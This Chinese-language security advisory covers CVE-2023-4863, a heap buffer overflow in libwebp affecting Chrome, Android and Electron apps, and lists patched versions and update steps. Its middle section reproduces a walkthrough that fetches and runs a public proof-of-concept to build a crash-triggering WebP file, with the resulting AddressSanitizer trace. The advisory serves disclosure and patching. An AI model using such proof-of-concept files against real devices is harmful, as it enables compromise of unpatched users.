一、漏洞概述
WebP图像编解码库libwebp存在堆缓冲区溢出漏洞(CVE-2023-4863),攻击者可以通过发送植入恶意代码的WebP图像获得设备的部分权限。
WebP是由Google开发的一种图像格式,可为网络图像提供有损和无损压缩。它旨在减小图像的文件大小,同时不损失其视觉质量。Google Chrome是由Google开发的一款支持WebP图像格式的网页浏览器。
由于libwebp的使用范围广泛,不仅应用于各大浏览器,还包含在系统的底层库中 (例如:Android),以及目前满大街都是的Electron中无一例外均使用了libwebp 库。请各位尽快更新浏览器及使用Electron技术的相关应用。
但CVE-2023-4863并未包含在Google即将在下月发布的10月安全更新之中 (一般 Google会提前半个月至一个月向合作厂商发布下月安全补丁,以便厂商能够迅速修复漏洞),考虑到该漏洞已经可能有野外利用的例子,Android设备目前相对而言还是比较危险的,不知Google后续是否有额外更新计划来紧急修复该漏洞。否则按现有更新计划,可能就要等到11月安全补丁才会修复了。
也希望Google能够像之前爆出蓝牙漏洞时那样,为已经停止支持的旧设备 (如 Pixel 4a) 提供计划外安全更新。 补充:根据Mishaal Rahman老师的消息,Google有可能推出2023-10-06安全补丁等级来专门修复该漏洞,但若厂商无意更新,则还要迟至11月安全补丁才会修复。
# checkout webp $ git clone https://chromium.googlesource.com/webm/libwebp/ webp_test $ cd webp_test/ # checkout vulnerable version $ git checkout 7ba44f80f3b94fc0138db159afea770ef06532a0 # enable AddressSanitizer $ sed -i 's/^EXTRA_FLAGS=.*/& -fsanitize=address/' makefile.unix # build webp $ make -f makefile.unix $ cd examples/ # fetch mistymntncop's proof-of-concept code $ wget https://raw.githubusercontent.com/mistymntncop/CVE-2023-4863/main/craft.c # build and run proof-of-concept $ gcc -o craft craft.c $ ./craft bad.webp # test trigger file $ ./dwebp bad.webp -o test.png ================================================================= ==207551==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x56196a11635a bp 0x7ffd3e5cce90 sp 0x7ffd3e5cce80 WRITE of size 1 at 0x626000002f28 thread T0 #0 0x56196a116359 in BuildHuffmanTable (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb6359) #1 0x56196a1166e7 in VP8LBuildHuffmanTable (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb66e7) #2 0x56196a0956ff in ReadHuffmanCode (/home/isosceles/source/webp/webp_test/examples/dwebp+0x356ff) #3 0x56196a09a2b5 in DecodeImageStream (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3a2b5) #4 0x56196a09e216 in VP8LDecodeHeader (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3e216) #5 0x56196a0a011b in DecodeInto (/home/isosceles/source/webp/webp_test/examples/dwebp+0x4011b) #6 0x56196a0a2f06 in WebPDecode (/home/isosceles/source/webp/webp_test/examples/dwebp+0x42f06) #7 0x56196a06c026 in main (/home/isosceles/source/webp/webp_test/examples/dwebp+0xc026) #8 0x7f7ea8a8c082 in __libc_start_main ../csu/libc-start.c:308 #9 0x56196a06e09d in _start (/home/isosceles/source/webp/webp_test/examples/dwebp+0xe09d) 0x626000002f28 is located 0 bytes to the right of 11816-byte region [0x626000000100,0x626000002f28) allocated by thread T0 here: #0 0x7f7ea8f2d808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144 #1 0x56196a09a0eb in DecodeImageStream (/home/isosceles/source/webp/webp_test/examples/dwebp+0x3a0eb) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/isosceles/source/webp/webp_test/examples/dwebp+0xb6359) in BuildHuffmanTable ...
二、影响范围
Google Chrome(Windows)版本 < 116.0.5845.187/.188
Google Chrome(Mac/Linux)版本 < 116.0.5845.187
三、安全措施3.1 升级版本
目前该漏洞已经修复,受影响用户可升级到以下版本:
Google Chrome(Windows)版本 >=116.0.5845.187/.188
Google Chrome(Mac/Linux)版本 >=116.0.5845.187
四、下载地址
五、手动检查更新可在Chrome 菜单-【帮助】-【关于 Google Chrome】检查版本更新,并在更新完成后重新启动。 升级后的版本号:Version 117.0.5938.92 (Official Build) (64-bit)
审核编辑:汤梓红
全部0条评论
快来发表一下你的评论吧 !